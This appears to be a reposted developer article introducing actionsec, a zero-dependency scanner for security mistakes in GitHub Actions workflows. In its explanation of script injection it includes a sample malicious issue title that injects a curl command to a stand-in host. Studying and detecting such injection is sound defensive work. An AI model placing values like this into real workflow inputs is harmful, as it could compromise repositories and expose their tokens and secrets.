cd /news/ai-tools/a-zero-dep-cli-that-scans-your-githu… Β· home β€Ί topics β€Ί ai-tools β€Ί article
[ARTICLE Β· art-24916] src=dev.to β†— pub= topic=ai-tools verified=true sentiment=↓ negative

A zero-dep CLI that scans your GitHub Actions for the mistakes that actually get repos compromised

A developer built actionsec, a zero-dependency CLI tool that scans GitHub Actions workflows for security vulnerabilities like unpinned action tags and script injection risks. The tool runs via `npx actionsec` or `pip install actionsec` and identifies issues such as mutable action tags, broad permissions, and pull_request_target checkout flaws without requiring a YAML parser. Actionsec is designed as a fast, zero-config first pass for pre-commit hooks or CI gates, complementing deeper tools like actionlint and zizmor.

read3 min publishedJun 12, 2026

Your CI workflow is the softest target in your repo. It runs automatically, it

has a GITHUB_TOKEN

that can push commits, and it can read your secrets. The

supply-chain attacks of 2025 β€” reviewdog, tj-actions/changed-files

β€” all came

in through the same unlocked door: a workflow that trusted a mutable action tag, so when the upstream tag got repointed at malicious code, every consumer

The uncomfortable stat: 71% of repositories never pin their actions to a commit SHA.

@v4

is not a version β€” it's aI wanted a five-second check for this and the other top footguns, with nothing to

install and nothing to configure. So I built actionsec.

npx actionsec
.github/workflows/ci.yml
  βœ— critical  L12   pull-request-target-checkout  pull_request_target checks out PR head code β€” untrusted code runs with a write token
  βœ— critical  L16   script-injection              untrusted github.event.pull_request.title in a run step
  βœ— high      L5    broad-permissions             permissions: write-all gives the token full read/write
  βœ— high      L13   unpinned-action               some-marketplace/deploy-action@main is a mutable branch β€” pin to a SHA
  βœ— medium    L10   unpinned-action               actions/checkout@v4 is a mutable tag β€” pin to a SHA

βœ— 5 issue(s) in 1 of 1 file(s) β€” 2 critical, 2 high, 1 medium
Check Why it matters
unpinned-action
@v4 / @main is mutable. If the upstream tag is repointed (compromise or maintainer error), you run new code with your token. Pin to a 40-char SHA.
script-injection
${{ github.event.issue.title }} in a run: step is substituted into the shell before it runs β€” a crafted issue title like `"; curl evil.sh \
broad-permissions
{% raw %}permissions: write-all hands the token the whole repo. One injected command and it's pushing to main .
missing-permissions
No permissions: block means the repo default β€” often more than the job needs.
pull-request-target-checkout
pull_request_target runs with a privileged token and secrets; checking out the PR's code then executes a stranger's code with them.

Workflows are YAML, and here's the thing β€” neither Node nor Python ships a YAML parser in the standard library. Pulling one in would mean the tool itself has a

So actionsec doesn't parse YAML into a tree at all. It scans line by line with

light block-awareness. That sounds crude, but it turns out every one of these

checks is textually distinctive β€” a uses:

line, a ${{ }}

expression inside

a run:

block β€” so a careful line scanner catches them without ever needing to

understand the document structure. The payoff: it installs in one step, depends

on nothing, and runs in milliseconds. (It even distinguishes a third-party action

on a tag, high

, from a GitHub-owned actions/*

on a tag, medium

.)

It is not trying to replace actionlint

(YAML/syntax validation) or zizmor (deep

dataflow analysis). It's the fast, zero-config first pass that fits in a pre-commit

hook or a one-line CI gate.

- run: npx actionsec --min-severity high

Exit 0

clean, 1

issues found, 2

error. --format json

for tooling.

npx actionsec          # Node β€” zero deps
pip install actionsec  # Python β€” pure stdlib, works on any repo

Both produce byte-for-byte identical output.

Point it at a repo you maintain β€” npx actionsec path/to/repo

β€” and tell me what

it finds. I'm especially curious how many @v4

s are hiding in workflows people

think of as "official and therefore safe."

When you write a workflow, do you pin actions to a SHA, or is @v4

good enough for

your threat model?

── more in #ai-tools 4 stories Β· sorted by recency
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain β€” perfect for shipping the agent you just read about.

$git push zahid main
β†’ Live at https://your-agent.zahid.host βœ“
Get free account β†’ Pricing
from €0/mo Β· no card required
LIVE [news/a-zero-dep-cli-that-…] indexed:0 read:3min 2026-06-12 Β· β€”